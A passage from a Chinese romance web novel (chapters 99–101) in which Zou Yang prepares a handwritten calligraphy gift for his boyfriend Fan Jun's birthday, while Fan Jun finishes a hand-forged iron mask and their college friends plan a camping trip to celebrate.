四个汉语言文学专业的大学生,一块儿拿着杯子看着他,二十一中毕业生樊均感觉自己压力非常大。 他拿起饮料,犹豫了一会儿:“那就……祝明天。” “祝明天。”邹飏笑了笑。 “祝明天!”大家一块儿跟了一句。 第99章 这顿饭吃了很长时间,他们一块儿上学这么些年,头一回吃饭吃到服务员过来问他们还要不要加菜,厨师下班了。 “走吧,”李知越拿过手机看了一眼,“刚吃的都快消化没了……” “我都吃困了。”刘文瑞打了个呵欠。 张传龙看上去也是困了,话都没了,只是站了起来。 “送你们回学校,”邹飏说,“我周一回学校。” “周一报告要交了啊。”刘文瑞说。 “嗯,”邹飏叹了口气,“基本已经写完了。” “没事儿,没写完发给我们也行,”刘文瑞说,“知越哥哥可以补完。” “算了吧都马上写完了突然想起来心疼我了。”邹飏啧了一声。 樊均开车先送几个人回学校,刚开了没到一半路程,邹飏就感觉自己困得不行,闭上眼睛就睡着了。 醒过来的时候,车上已经就剩了他和樊均两个人,看车窗外的街,已经快到商贸城了。 “什么破酒劲儿这么大?”他嘟囔了一句。 “跟酒没关系,你就喝了一杯,”樊均说,“事儿完了人一放松就这样。” “对,哭其实也很费力。”邹飏抬起胳膊,用力伸了个懒腰,后背绷得都有点儿想抽筋,赶紧又弓了弓背,舒坦。 “啊……”他重新往椅背上一靠,“嗯……” “别出这种动静,”樊均扫了他一眼,“我开车呢。” 邹飏笑了起来:“怎么,这会儿耳朵又这么好使了?” “这么近,又没别的声音,”樊均说,“这我都听不到那是全聋了。” “滚蛋。”邹飏说,想想又伸手捏了捏他耳垂,“你那个耳朵……有什么好转吗?” “没有,去医院测的时候……比原来还是差了一些,但也不是完全听不见,”樊均说,“我反正习惯了,手能慢慢恢复就行。” “嗯,”邹飏闭上眼睛,“手恢复了再重新带我练吧,我现在要过去练,就是吕冠军带我,我是真的……会很尴尬。” “那我手没恢复你想练我也能带你练。”樊均笑笑。 “真的?”邹飏立马支起了脑袋看着他。 “这有什么假的,”樊均说,“打你用不了双手双脚。” “樊教练?”邹飏没忍住笑了,“是带我练,不是打我。” “带你练用不了双手双脚。”樊均修正了一下用词。 “嗯,”邹飏重新闭上眼睛,“什么时候?” “你忙完这两天吧,我也还得忙个……”樊均似乎是在算计时间,“大半个月的。” “行。”邹飏应了一声。 这什么礼物,做起来这么费劲,已经折腾了好一阵儿了,居然还得要大半个月? 邹飏突然很期待。 樊均生日,他期待礼物,多奇妙。 他笑了笑。 回到樊均那儿,他没有先坐下趴下躺下,而是直接拿了衣服就进了浴室,现在不直接把澡洗了,一会儿肯定不想动。 今天这个澡偏偏又是一定要洗的。 虽然他不迷信,但这会儿却会想起老妈的话,去洗个澡,把什么乱七八糟的不开心不舒服不好的东西都洗掉。 洗澡的时候他都困得不行,眼睛都有点儿睁不开,撑着墙勉强洗完了,一边往身上套衣服一边往卧室走。 走进卧室就睡着了。 怎么上床的都没印象。 这一睡就是一整天,中间可能醒过几次。 一次是樊均叫醒他让他喝点儿水,一次是樊均叫醒他问他有没有哪儿不舒服,一次是自己起来去上了个厕所……应该还有,但记不清了。 完整地醒过来时,天是黑的。 身边的床上是空的。 他在床边坐了差不多十分钟才完全清醒过来,拿过手机看了一眼,已经是第二天晚上七点了。 这一觉睡得真是……跟昏迷了差不多…… 手机上有不少消息,宿舍群里的,老妈的,樊均的。 【樊】睡神,我今天晚上在店里,醒了跟我说一声 他笑了笑,给樊均回了个消息。 【邹yang】醒了,我过去找你 【樊】等你一块吃饭 【邹yang】好 老妈的消息是问他情况怎么样。 估计是知道遗产宣读的事儿了,虽然这事儿他没跟老妈说,那边应该也不会给老妈打电话,但生活里千丝万缕的联系,总还是会听说的。 他给老妈回了个电话过去。 “声音怎么哑哑的?”老妈问。 “睡了一天一夜,”邹飏笑笑,“嗓子还没醒。” “你真是……”老妈说,“没什么事儿吧?是不是去听遗嘱什么的了,你大姑他们没为难你吧?” “没有,放心吧,”邹飏说,“明天我下课了过去跟你细说。” “他是不是还给你留东西了?”老妈又问。 “嗯。”邹飏应了一声。 老妈叹了口气,没再多说什么。 邹飏洗漱完换了衣服,给大黑放了点儿粮,大黑翻着个肚皮躺在沙发上不为所动。 “黑黑啊,你现在也是牛起来了,”邹飏一边用粘毛筒在外套上滚着,“你樊均哥哥买的粮这么贵你都看不上了。” 大黑很短地“啊”了一声。 “我那些遗产里没现金呢,就算要卖,也要花时间,”邹飏说,“你别想太多,咱们现在还是过以前的日子,懂吗?” 大黑舔了舔鼻子,没理他。 邹飏出了门到楼下停车棚把自己那辆电动车骑了出来。 这阵儿不是开何川的车,就是骑樊均的电动车,他这辆车都没怎么动过。 就樊均时不时去给充充电检查一下车况。 这会儿骑着车在路上飞奔的时候,他突然想起了第一次骑着这车去南舟坪时的情景。 有些感慨万千。 感慨得肚子都饿了,而且非常饿,饿得手都有些抖。 “先把这个面包吃了,”樊均捏了捏他的手,“隔壁新品,拿过来让试吃,不太好吃。” “……不太好吃还让我吃?”邹飏看着手里的面包,长得还挺好看的。 “饿成这样肯定能吃下去,”樊均看了一眼手机,“我带你旁边街上吃碗面吧,远了怕你撑不到地方。” 邹飏笑了起来,咬了一口面包:“难道不是因为今天晚上要守在店里吗?” “嗯,”樊均笑了笑,“何川八点半才过来。” 真是饿了,面包很好吃,吃完还饿。 隔壁街上的面邹飏倒是吃过,味道还不错,这会儿饿的时候吃着感觉要成仙。 吃完一大碗面再加一个烤鸡腿,邹飏躺在店里的椅子上,这才算是活过来了。 他摸了摸肚子:“舒服了,但是有点儿撑。” “一会儿何川来了我陪你去散散步。”樊均说。 “嗯。”邹飏看了一眼后院门边堆着的箱子,“是不是有货到了,你不用管吗?” “明天再弄了。”樊均在茶桌边坐下,点了根何川做的不知道什么香,开始烧水泡茶。 邹飏闭上眼睛,听着那边茶具细碎的碰撞声,他伸长腿,整个人都舒展了。 还没到八点半,何川推门进了里。 “哟,邹飏来了啊!” “嗯。”邹飏睁开眼睛,“何老板。” “叫这么正式干嘛。”何川说。 “……我当你面儿叫过你别的吗?”邹飏说。 “叫我声何大哥就行。”何川笑着说。 “你干嘛?”樊均给何川倒了杯茶,看着他。 “拉拉关系呗。”何川说。 “你当心这个奸商。”樊均又拿了杯茶递到邹飏手边。 “什么话,奸不奸的要看对谁了,”何川坐到邹飏身边,冲他抬了抬下巴,“听说你爸之前做书画生意的,有没有给你留点儿?” 何川要说很奸的确也不算,某些时候也还挺坦白的。 比如这会儿,一点儿弯子都没绕,直接进了正题。 这要换了个父子情深的,刚听完遗嘱,他上来就这么打听,怕是要挨打。 难怪需要个樊均跟着。 邹飏看了樊均一眼。 “他什么都不跟我说,就说不知道,”何川叹了口气,“嘴严着呢。” “何大哥有什么想法?”邹飏问。 “哎,这么叫就对了,”何川很愉快,往他旁边凑了凑,低声说,“这些东西,你要是有,想变现的话,可以找我。” “我自己也可以变现,”邹飏喝了口茶,“我爸还给我留了个书画院。” “小飏,不是我为了生意说这种话啊,”何川放低声音,“书画院那种……” “这儿就三个人,说那么小声是怕我听到吗?”樊均问。 “哎你……”何川啧了一声,说话又回到了正常音量,“我这不是习惯了么,跟人谈事儿的时候这么压着点儿声音更有效果。” 樊均没出声。 “我能继续说了吗?”何川问。 “说呗。”樊均说。 “你爸那个书画院,我差不多知道是怎么回事儿,一般就是谈事儿,办个小展之类的,”何川看着邹飏,“说真的,成交量肯定比不上我这样的,我手头客户多,而且都是真拿着钱准备花的……” 邹飏没答话,只是看着他。 “我正好也想弄个高端点儿的店,我这儿也不都是几百小千的东西,”何川指了指樊均,“他知道,我俩前两天还去看店来着。” “你是想从我这收了东西拿去卖对吧?”邹飏问。 “对,”何川点头,“当然,你要不想卖,只想留着,就当我没说。” “我得先看了都有些什么的,才能考虑下一步。”邹飏说。 “没问题啊,”何川声音又低了下去,“你要是……” 说到一半想起来了又提高了声音,提得还有点儿没控制住,一时间声如洪钟:“拿不准的话,可以找我。” 邹飏没说话。 何川清了清嗓子:“我也可以陪你过去看看。” 晚上躺在床上的时候邹飏还在琢磨何川的话。 “这人靠得住吗?”他问樊均。 “赚钱上肯定有点儿小心思,”樊均说,“但是……要说有多黑也不至于,低价收高价卖,吹牛蒙不懂行的也有,不过价格也没特别离谱……” “嗯。”邹飏闭上眼睛,“我其实还真是不懂这些东西。” “他也未必懂,他也没卖过什么书画。”樊均还是很谨慎的。 “好烦啊。”邹飏皱着眉。 “先找曹律师问问。”樊均说。 “嗯。”邹飏应了一声。 樊均没再说话,邹飏也没出声。 他能感觉得出来,只要他不提这些东西,樊均基本不会问,跟宿舍那帮人不一样。 宿舍那帮人恨不得明天就陪他去看看别墅什么的,他要真打算变卖什么东西,这些人能比他都积极。 “到时遗产后续的事儿,分割清点什么的,”邹飏开口,“你有时间陪我去吗?” “我……”樊均犹豫着,“你觉得需要的话……” “你自己想不想去啊?”邹飏问。 樊均没出声。 “樊均?”邹飏转头看着他。 “嗯?”樊均应了一声。 “你现在是打算开始避嫌了吗?”邹飏问。 樊均没回答,只是翻了个身,搂紧了他,腿也搭到了他腿上。 “你是怕我有想法还是怕别人有想法啊?”邹飏又问。 “……我不知道。”樊均的声音闷在他肩窝里。 邹飏听着莫名其妙地能感觉到几分委屈。 “所以你是觉得我会有想法了?”他摸了摸樊均的腿,“你觉得我会觉得你想图我钱?” “什么绕口令……”樊均说,“没。” “那你担心别人觉得你图我钱?”邹飏又问。 “别人怎么想的我不关心。”樊均低声说。 “那不就绕回来了!就还是觉得我!”邹飏提高了声音。 “哎哎哎,”樊均捂了捂他的嘴,“我真没有,我只是……自己有点儿别扭。” “别扭什么?”邹飏问。 “就好像……”樊均轻轻叹了口气,“你这么追着问,我真……一下说不出来。” “没人这么逼过你吧?”邹飏挑了挑眉毛。 “嗯。”樊均应着。 “那现在体会一下吧,”邹飏说,“说不清别睡了,我反正睡了一天一夜。” “……操。”樊均有些郁闷地用力在他颈窝里蹭了蹭。 “不行,现在没有那种情绪。”邹飏说。 樊均没说话,埋着脸笑了起来。 “说吧。”邹飏在他腿上一下下来回摸着,“樊均你腿……手感真好。” “你腿也是。”樊均说。 “说,别打岔。”邹飏提醒他。 “是谁打的岔啊?”樊均忍不住抬起头看了他一眼,接着又把脸埋了回去,沉默了很长时间才说了一句,“就觉得太操心男朋友的钱,有点儿奇怪。” “你男朋友还是个小孩儿,”邹飏说,“你操心点儿不是很正常吗?” 樊均没说话,胳膊收紧了。 虽然樊均说不清,但邹飏也差不多能明白他想表达的意思。 所以接下去的日子里,没有特别重要的情况,有什么需要他去处理的事儿,他都没叫樊均一块儿。 事儿也不多,就签了个接管确认书,别的事儿还得等赔偿的案子结束之后才能继续,生效判决差不多得三个月之后了。 邹天瑞的小姨给他打过电话,想约他先聊一下,但他拒绝了,虽然不知道她具体是想干什么,但邹飏不想跟邹天邹和她小姨有任何私下接触。 他已经不想再在这些事儿上花费多一丁点的精力,只等着流程到了按律师说的做就行。 何况樊均的生日马上要到了,他光练了一堆习,一张都还没正式写出来。 啧。 “这就开始了吗?”刘文瑞撑着桌子,看着他端正地铺在宿舍中间大桌上的纸。 “嗯,装裱得一星期差不多,今天就得写好。”邹飏盯着纸。 “饮料零食,”张传龙推开宿舍门走了进来,拎着一兜吃喝,“买回来了。” “什么意思?”邹飏问。 “边吃边看边加油。”李知越从床上跳下来,拿过零食,往刘文瑞桌上整齐地摆好。 “你们真棒。”邹飏说。 “反正我们的礼物已经准备好了,”刘文瑞说,“我估计樊均的礼物都准备好了,就你还没有。” “闭嘴。”邹飏拿起了笔。 “大功告成了!”小龙大喊了一声,拍了拍巴掌,“拿出来吧!” 樊均看了一眼恒温箱的温度,已经降到了80度,他戴上石棉手套,拿过旁边的坩埚钳,把面具从恒温箱里取了出来,放在了操作台的支架上。 经过了喷砂和蜂蜡镀层的半脸面具这会儿看上去比刚打完的时候要精致了很多。 虽然还是白铁本色,但看上去很酷。 “真漂亮啊。”樊均看着面具。 “是的,”小龙叉着腰,“是不是很有成就感?” “嗯。”樊均点点头。 “他肯定会超级喜欢,”小龙说,“说真的,换我的话,我会哭的。” 樊均笑了笑。 小龙会不会哭他不知道,但邹飏很有可能会哭。 “把那个链子挂上吧。”小龙说。 “嗯。”樊均从一个小布袋里拿出了一根短链子,链子一头是个铁环,挂在面具眼角下的小孔上,那头坠着一颗橄榄石。 邹飏说过这是他的幸运石。 链子装上之后,整个面具一下变得灵动起来。 樊均拿起面具,举到眼前。 这份迟到了大半年的,邹飏的生日礼物。 用他本以为再也恢复不了的左手,一锤一錾。 总算是做好了。 第100章 “还得肉麻多少张啊?”刘文瑞拿着瓶可乐。 邹飏的字写了两天,除了上课时间,他们几个人基本都在宿舍观摩。 写废的纸铺了一地,精心挑选出的两张通过的已经放在了旁边的桌上,邹飏正一手拿着笔,一手撑着桌子沉思。 “这些就废掉了?”张传龙蹲在地上,拎起一张来看了看,“这不是挺好的吗?” “强迫症犯了呗,”刘文瑞叹了口气,“我看着都差不多,他因为这一横那一撇的就说不行了不要。” “纸还够吗?”张传龙问。 “够。”邹飏说。 “够是肯定够,”李知越吃着薯片靠在柜子边,“我看他两个尺寸买了能有一刀,现在你不如问问废的这些怎么办。” “可惜了,”张传龙啧啧啧地一边一张张拎起来看着一边摇头,“没有一个错字啊,就这么不要了……情不知所起……” “别念,再念杀人了啊。”邹飏提着笔酝酿着半天都没能落下去,再被他这一念,差点儿想直接弃笔逃出宿舍。 本来当着宿舍几个人写这玩意儿就够羞耻的了,还念出来…… 简直瞬间回到当时在店里二楼樊均给他复述时的尴尬场面里。 “我们会保密的,”刘文瑞说,“放心吧。” “保什么密,你还能上哪儿说?”邹飏扫了他一眼,“连吕泽都知道了。” 几个人顿时一阵没憋住的笑。 “也是,我们总不能上走廊上喊去,”李知越笑着,说完又有些感慨,“说真的,换个人还真没你这本事,不一定会说点儿什么呢……” “要我胡言乱语的话……”张传龙想了想,“我能念什么呢……” “雄发指危冠,猛气冲长缨。”邹飏说。 “……听着耳熟。”张传龙说。 “笑尽一杯酒,杀人都市中。”邹飏说。 “李白!”张传龙一指他,“这句我知道。” “那就念这句,”邹飏点点头,“记着点儿。” “你还帮他想上词儿了,”刘文瑞敲了敲桌子,“写啊,你要写什么想好了没?” 想当然是想好了的,就是羞于落笔。 邹飏抬眼看了看刘文瑞,又转头看了看李知越和张传龙。 算了,这几位也算是朝夕相处知根知底了,有点儿什么丢人现眼的事儿相互也都知道…… 他咬了咬牙。 笔落在了纸上。 “我……”刘文瑞凑过来,“又你我什么的?要……我要……” “我要飞得更高——”张传龙唱着也凑了过来。 “飞得更高……”李知越也跟上了。 邹飏继续。 “娶……”刘文瑞念完就愣了,“我要娶?” 几个人同时沉默了。 邹飏这会儿手感居然不错,三个字都写得很满意。 他也顾不上这几位的反应了,抓住这点儿手感,把一直也没练过主要也是不好意思练的两个字儿给写完了。 樊均。 不愧是他天天想着的人。 这俩字儿写得很漂亮,出乎了他自己的预料。 “我要娶樊均?”李知越都没法淡定了,念出来的时候带着难以掩饰的震惊。 “明天我要嫁给你啦……”张传龙又开始唱。 “这你当时……还说了这个?”刘文瑞指着纸上的字儿。 前面写的大家都已经知道是他麻醉没醒的时候胡言乱语说的,这句他一直也没好意思说。 但这会儿豁出去写完之后,居然有点儿爽。 “嗯。”邹飏放下笔,退了一步,抱着胳膊看着写得非常不错的这五个字儿。 “我——操!”几个人发出了整齐划一的惊叹。 “我都替你脸红。”刘文瑞说。 “反正我当时不知道。”邹飏说。 “牛逼。”张传龙走到桌子旁边感叹着,“你真是文武双全。” “谢谢。”邹飏说。 “下一步就是装裱了?”李知越问。 “嗯。”邹飏点点头。 “就这堆东西吧?”刘文瑞指着墙边地上的一个纸箱,里面是几个罐子和排刷什么的。 “对。”邹飏搓了搓手。 大家一块儿帮着把扔了一地的废稿都收拾了,但没扔,都觉得可惜。 邹飏看着那堆纸,拧着眉想了想,不扔其实也可以,也能拿来做东西。 樊均的礼物估计不简单,他的礼物虽然按张传龙的说法,是十几年的积累,但积累成了之后,做起来是真不算难…… 难度不够,就数量来凑。 “干活儿,想什么呢?”刘文瑞把桌子都清了出来,拍了拍手,“开工,知越,继续录。” “这也录?”邹飏拿了卷保鲜膜开始往桌上铺。 “之前写字也都录了嘛,除了刚那个……”刘文瑞说,“那个没录也行,反正你也没脸让人看。” 邹飏笑了笑,拿了之前写好的一张字放了上去铺平。 喷壶装上水,把纸背面喷了一遍。 “这是在干嘛?”李知越举着手机问了一句。 “润纸,”邹飏看了他一眼,“怎么还带解说的?” “接着呢?”李知越又问。 “刷浆糊。”邹飏打开买来的浆糊看了看,还可以,他拿过羊毛刷蘸上,从纸的中间开始往四周慢慢刷着。 接着就拿了配套一块儿买来的命纸盖了上去,用排刷一点点扫平整。 “知越那套辞海拿来用用。”邹飏说。 “哪儿?”张传龙立马开始找。 “桌子底下。”李知越说,“这一步是要干嘛?” “压平,本来应该上墙的,不搞那么复杂了。”邹飏说着接过张传龙递过来的辞海,往纸上一本一本排列着压实了。 这些事儿挺复杂的,邹飏以前学着做的时候会很烦。 但这会儿每一个步骤他都做得很认真,也很舒服,满脑子想的都是樊均看到时会是什么样的反应。 一共三张,没多大一会儿就都刷完压好了。 “等,”邹飏说,“走吧请你们吃个饭,回来就差不多可以下一步了。” “行,正好讨论一下生日那天的行程。”刘文瑞说。 樊均生日那天不是周末,他们有课,樊均还要上班。 但邹飏又不太愿意改时间庆祝,他就想要正日子,所以一帮人决定玩通宵。 比起他们几个自己生日时就正常吃喝一顿,再去唱个K或者泡个吧之类的,樊均的生日他们要起劲得多。 一定要开车出去,虽然还是跟上次一样要烧烤,但不能在烧烤店。 也许是因为这个生日意义不同。 也许是因为这是邹飏的男朋友……这么说着有点儿奇怪。 但其实谁的女朋友生日,他们也不可能这么上心,相当奇怪且可疑,所以正因为是男朋友…… “所以确定就是头一天下午出发,去烧烤,然后露营,”李知越总结着,“过了十二点就过生日,具体要用的东西……文瑞之前是不是还说剪了个肉麻视频照片集的,那个是不是得有投影仪?” “樊均有投影仪。”邹飏说。 “那就OK了,”李知越点头,“烧烤场那边直接订就行,就是吃的种类少,我们自己再带点儿……” “齐了。”张传龙一拍手。 “蛋糕得问店里要保温箱和冰袋……”刘文瑞说。 “齐了。”张传龙又一拍手。 “帐篷那些可以租,晚上冷的话得自己带睡袋。”李知越说。 “我买就行。”邹飏说。 张传龙没有说话。 “现在基本齐了。”邹飏看着他。 “靠。”张传龙笑着靠到椅子里,想想又感慨了一句,“今年咱们几个还能一块儿把生日都过一遍,明年就不一定了啊……可能都不在一个城市了……” 几个人都没说话,突然都有些怅然。 “没事儿,”刘文瑞说,“如果到时大家都找不着工作,还是可以约一下的。” “现在就诅咒上了。”李知越啧了一声。 “邹飏养我们。”张传龙说。 邹飏笑了起来:“行。” 忙碌的时候,日子是过得很快的。 一边上课,一边给字装裱,裁边,贴框,覆被上墙……不对,上的是宿舍的穿衣镜和衣柜侧板……最后砑光,装杆。 樊均生日的前一天,刘文瑞把他爹的车开到了学校,邹飏把几个画卷和一个扁盒子放到后备箱里。 下午出发的时候,后备箱非常拥挤,几个人的礼物,一堆肉,几个睡袋,几大包零食,路上再去取了蛋糕之后,基本就满了。 “他在路边等我们了。”邹飏看着手机。 “看到了,”张传龙指着前面,“那儿呢!” 邹飏往前看了一眼。 这几天忙着,跟樊均都没怎么见面,这会儿猛地看到站在人行道边儿上的樊均时,他的心顿时一阵狂跳。 其实樊均还是平时的样子,是他熟悉的那个样子,T恤和工装裤,但今天因为这会儿太阳还挺大,所以樊均戴了帽子和墨镜。 很久没看到樊均戴帽子了。 自从樊刚死了之后,樊均就没怎么戴过帽子,天儿冷风大的时候也就是把外套帽子戴上,像是某种宣泄,戴了十几年的帽子,再也不戴了…… 这会儿猛地看到戴着帽子的樊均,邹飏有种不清的感受,忍不住笑了笑。 帅。 非常酷。 想要扑上去搂住连亲带咬啃一通的那种。 车还没开到樊均面前,邹飏放下副驾车窗,探了脑袋出去,吹了声口哨,很亮。 面无表情看着街上车来车往的樊均听到这声口哨,转脸看过来之前就已经勾起了嘴角。 刘文瑞把车停在了樊均身边,邹飏跳下车。 “东西……”樊均准备把东西拿上车。 手刚伸出去就被邹飏挑开了。 “想我吗?”邹飏问。 “想。”樊均往车那边扫了一眼。 “认真点儿。”邹飏说。 樊均看着他:“想,非常想。” “知道咱俩几天没见吗?”邹飏问。 “四天。”樊均说。 “四天没见就非常想了吗?”邹飏挑了一下眉。 “看不到你就会想,”樊均说,“跟时间没关系。” “……靠。”邹飏笑了起来,看了一眼他腿边的东西,除了投影仪,还有个封了口的纸袋,估计就是礼物了,“走吧,东西放后备箱。” 他俩拿起东西往车后头走的时候,车上的几个人才下了车。 “樊哥一会儿你开车啊。”刘文瑞打开后备箱。 “嗯。”樊均应了一声,想想又说了一句,“谢谢你们。” “哎?”刘文瑞一听这话突然就有些手足无措起来了,“这谢什么这……” “我们也是为了找个机会一块儿玩,”李知越笑着说,“哪用得着谢啊。” 东西放好,刘文瑞坐到了后座。 “邹飏,”樊均叫住了邹飏,侧身在他耳边小声说,“他们是又买礼物了吗?” “嗯,过生日啊,肯定会有礼物。”邹飏也小声说。 “他们生日我都没送过东西,”樊均说,“我都不知道他们什么时候生日……” “李知越八月,龙龙跟我一样十月,”邹飏看了他一眼,“刘文瑞十二月,因为你不理我,所以一个也没过着。” 樊均顿了顿,没说话。 “欠人情了吧?”邹飏说。 “嗯。”樊均看着他,“你生气了吗?” “那倒没有,”邹飏轻轻碰了碰他的手,又捏了捏他手指,“这事儿我没生过你气,我也不是什么时候都不讲理的。” 樊均没说话,伸手搂住了他。 邹飏闭上眼睛,往他身上靠了靠。 一直到不知道谁按了一声喇叭,樊均才松了手,有些尴尬地快步走向驾驶室。 “不是我想打断你们啊,”刘文瑞坐在后座中间,抱着胳膊,“现在出发,到地儿就得一个小时,再晚点儿准备工作都得摸黑干。” “什么烧烤场连电都没有。”邹飏系上安全带。 “那你俩下车继续展览。”刘文瑞说。 “开车。”邹飏笑着冲樊均抬了抬下巴。 “嗯。”樊均发动了车子。 到烧烤场的时候天还亮着,只是不是特别亮了。 因为不是周末也不是假期,所以烧烤场人很少,除了他们,停车场一共停了四辆小车和一辆房车。 露营地那边远远看过去,有五六个帐篷支着,留给他们的位置还很多。 这跟上回烧烤的不是一个地方,不过也是樊均从没来过的地方。 跟上回不样的,这里的水不是湖,而是一条从草地中间流过的小溪,说是小河也行,过来的时候下游的水量挺大,但这块儿就是能直接淌水走过去的溪流。 很美,没有了直射的阳光,整个视野里的草地和溪流,远山和树林,都被一层柔光包裹着,能舒展地看出去很远。 之前李知越已经电话预订了,他们到的时候,老板已经把他们的东西都用露营车准备好了,他们只需要拖着车自己找个地儿扎营就行。 “去河那边儿吧,”张传龙说,“那边儿没人。” “知道为什么那边儿没人吗?”刘文瑞问。 因为别人不想脱拖弄湿了鞋再光脚踩一脚泥再洗干清了晾干再穿鞋…… 但他们不一样,他们是充满活力不怕麻烦也要折腾的大学生。 邹飏跟他们略有不同,他只是想找个人少的地儿。 脱鞋淌水并不难,脱鞋光脚踩着一堆石头还要一块儿端着露营车才是考验。 “我们为什么不能把东西分开拿过去,再把车从水里拖过去?”刘文瑞问。 “因为我们没脑子。”张传龙说。 “都走到一半儿了才想起来问,”李知越说,“不如不问。” “别逗我笑,”邹飏说,“一笑没劲儿了。” “你居然还有力气笑,”刘文瑞咬牙切齿地用着力,“我脚都快碎了。” “你可以松手。”樊均说。 刘文瑞很坚定:“那不行,我不会扔下你们……” “你现在是挂在车上好吗,”李知越说,“你撒手能轻二十斤。” “那不行,我不扶着过不去。”刘文瑞说。 几个人跌跌撞撞在虽然不多但五辆车加一块儿也十多个人的注视下,把露营车和一大堆东西弄过了河。 接着就是支帐篷,上回支帐篷,邹飏全程都躺着,这回腿脚利索地跟樊均一块儿把两个大帐篷支好了。 “就俩帐篷吗?”张传龙问,“还一个睡哪儿?” “他俩一个,我们仨一个。”刘文瑞说。 “为什么我们要三个人睡。”张传龙爬进帐篷里看着。 “因为人家是一对儿!你跟我一对儿还是跟李知越一对儿啊,”刘文瑞啧啧两声,“人家买睡袋都是我们单人他自己双人的,你也要吗?” 张传龙没说话,跟着一通啧啧啧。 “双人睡袋?”樊均在帐篷里把防潮垫铺好,看了一眼放在旁边的睡袋。 “嗯。”邹飏也爬进了帐篷。 “你想……”樊均看着他,“干什么?” “你是问现在还是半夜?”邹飏凑近他。 “……先问现在。”樊均说。 邹飏没说话,直接搂着樊均的腰一个扑摔,把他按倒在垫子上,跟着就压了上去。 樊均眼睛都瞪圆了,一把抓着邹飏要往他衣服里摸的手,压着声音:“能看到!” “谁那么没眼力见儿会过来看?”邹飏低声说完,低头吻在了他唇上。 樊均的呼吸顿了一秒,松开了他的手,紧接着就搂住他的腰狠狠抓了两把。 100-108 第101章 外面的光线比刚来的时候要暗了一些,不过还能看清四周。 但邹飏吻过来的瞬间,一切都消失了。 帐篷门外的景物消失了,眼前只有邹飏模糊的轮廓,四周的人声和溪水声消失了,耳边只有邹飏急促的喘息。 甚至弥漫在四周的清新的泥土和草香也消失了,每一次呼吸,都是邹飏的气息,能让他瞬间迷醉的那种气息…… 这一秒,整个世界只有他们俩。 看到的,听到的,闻到的,触碰到的,都是邹飏。 温热和微凉齿间交错,心跳同步。 陷入皮肤的指尖沿着腰线一寸寸游走…… 但戛然而止。 邹飏的唇离开时,他有些迷茫,想要跟过去,被邹飏按住了脑门儿。 “嗯?”他很低地发出一声疑问。 “外面有人呢。”邹飏声音也很低。 “……嗯?”他还有些喘。 “憋着。”邹飏在他耳边说。 好几秒之后樊均才闭上眼睛,齿缝里挤出一个字:“……靠。” 邹飏直起身,低头看着他:“怎么了?” “你问我?”樊均有些无奈,躺着没动,视线顺着往下扫了他一眼。 “看什么,有反应,”邹飏扯了扯裤子,“这都没反应我完了。” 樊均偏开头,顿了一会儿,没忍住笑了起来:“邹飏我真服了你了。” “时间不够,就是找点儿刺激。”邹飏往帐篷门那边挪了挪,露了个胳膊出去,以示他俩目前清清白白。 “嗯,”樊均叹了口气,坐了起来,“神经。” “喜欢吗?”邹飏问。 “喜欢。”樊均说。 邹飏从帐篷里出来的时候,李知越正拿了个挑灯的杆儿准往地上戳:“你会接电瓶吗?不是跟老板租了个电瓶嘛,灯和投影仪都得用……” “不知道,一会儿看看,”邹飏看着文弱书生李知越怼着一块儿石头戳了半天,伸手拿过了杆子,“李知越,你去查一下视力。” “怎么了?”李知越愣了愣,很快反应过来,弯腰往地上看了看,“我戳石头上了吗?” “你戳在一片儿碎石头上了,”邹飏叹了口气,拿着杆儿往旁边移了半米,插到了泥地里,“电瓶呢?” “文瑞那儿,”李知越看了看杆子,“这么轻松的吗?” “嗯。”邹飏应了一声。 李知越犹豫了两秒,抓着杆子往上拔了一下,没拔动。 “怎么个意思?”邹飏问。 “算了,”李知越放弃了拔出来重新插一下的计划,“我们文弱书生没有拔杆儿之力,你们武夫……” 邹飏叹了口气:“谁拔杆子抓那么高的位置啊,那还怎么使得上劲儿?” “去接电瓶吧武夫。”李知越扶着杆子。 邹飏蹲到电瓶前,加入了已经在电瓶前蹲了半天的刘文瑞和张传龙的队伍。 “看不太明白呢?”刘文瑞说。 “老板给没给说明书?”张传龙说,“都得有说明书吧?” “谁租个电瓶还给配说明书啊,不过他给我说怎么用的时候我也没听,”刘文瑞说,“我寻思我们五个人还接不明白一个电瓶了?” 张传龙转头看向邹飏。 邹飏对着电瓶沉默了几秒:“难道不就是插头直接插上去就行了吗?” “但你看,每个插座上面都有这个小圆盖儿,它是不是……”张传龙正说着的时候,樊均的手伸了过来,把那个小圆盖儿直接扒拉开了。 “插点烟器的。”樊均说。 “你是不是用过?”张传龙抬头看着他。 “没,”樊均说,“打开看一眼不就知道了么……” “怕被电着。”刘文瑞说。 “不怕被傻着么。”樊均说。 “哎?”刘文瑞转头看着他。 “……没电,”樊均说,“我试过了。” 邹飏在旁边蹲着笑了半天。 “来来来,”刘文瑞拿了张折叠椅放到他旁边,“坐着慢慢乐。” 所有郊外都一样,太阳一落山,四周就会以肉眼可见的速度暗下去,灰蒙蒙的景象让人有些不踏实。 灯亮起来的瞬间,所有人似乎都松了口气。 灯挺亮的,两个灯能把烧烤架和帐篷那边都照亮了。 河对面几个帐篷的人也都把灯打开了,一时间河两边儿灯火通明,看起来非常热闹。 樊均把烧烤架的火点上了:“今天晚上只吃烧烤吗?” “谁说的,”刘文瑞说着拿出了一个袋子和两个保温桶,“还有主食。” 这个保温桶樊均一眼就认出来了,当初邹飏他们突然冲进他病房的时候,拎的就是这个保温桶。 他突然眼眶就有点儿发热。 “我们学校食堂的包子和炒饭,”邹飏在他旁边介绍着,“味道最好的两道主食,特别是炒饭。” “嗯。”樊均点了点头。 “怎么了?”邹飏偏过头盯了一眼他的脸。 “没。”樊均笑了笑。 “是不是认出这个保温桶了?”邹飏勾着嘴角,“记性不错啊均儿。” 樊均笑着轻轻叹了口气。 “这可不是我故意的啊。”邹飏在他屁股上拍了拍。 “嗯。”樊均拿过一把肉串,排在了烧烤架上。 邹飏又在他屁股上抓了抓。 樊均看了他一眼。 “嗯?”邹飏又拍了一下。 “喝酒了吧你?”樊均问。 “没呢,一会儿喝了你再看看。”邹飏说。 肉烤出第一轮之后,一帮人就在旁边小桌边坐下了,酒一倒上,烧烤摊儿的小感觉立马滋儿一下就上来了。 “要说点儿什么吗?”张传龙拿着杯子,“还是直接喝?” “我曰两句的,”刘文瑞说,“有感而发……” “发吧。”邹飏说。 “今天,我们虽然是因为樊哥的生日才聚在这儿的……”刘文瑞举着杯子,“虽然我们这几个差不多天天都能见面……不过这样兴师动众跑出来玩一次的机会,说起来也不多了,所以……要先感谢樊哥,让我们有机会这么玩。” “……不客气。”樊均说了一句。 “然后……”刘文瑞接着说。 